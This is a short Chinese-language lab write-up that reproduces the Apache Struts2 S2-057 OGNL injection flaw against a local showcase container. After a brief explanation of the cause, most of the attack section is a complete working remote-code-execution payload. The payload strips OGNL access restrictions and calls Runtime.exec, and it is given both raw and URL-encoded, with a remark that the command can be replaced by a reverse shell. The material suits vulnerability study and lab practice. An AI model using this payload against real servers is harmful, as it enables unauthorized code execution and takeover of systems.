Struts2框架对重定向URL处理不当导致的OGNL注入漏洞(s2-057)
漏洞原理:
S2-057是由于 Struts 2框架对重定向URL处理不当导致的OGNL注入漏洞。攻击者通过构造特殊参数,可以在服务器上执行任意代码。漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
靶场搭建:
可以根据我上篇文章去搭建,因为懒所以我就不在这多罗嗦了。直接复现。
漏洞复现:
先打开容器:http://localhost:8080/strusts2-showcase
然后我们先试一下下面的代码
/${(20+20)}/actionChain1.action # ()里面随便两数做运算就可以
填在上面路径的后面
我们回车了一下,发下在url里面执行运算
所以说{()}里面的内容执行了,然后我们用下面的代码
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
url编码后:
%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action
这时候我们bp抓包去看信息
我们可以对exec()里面的命令进行替换,也可以写入反弹shell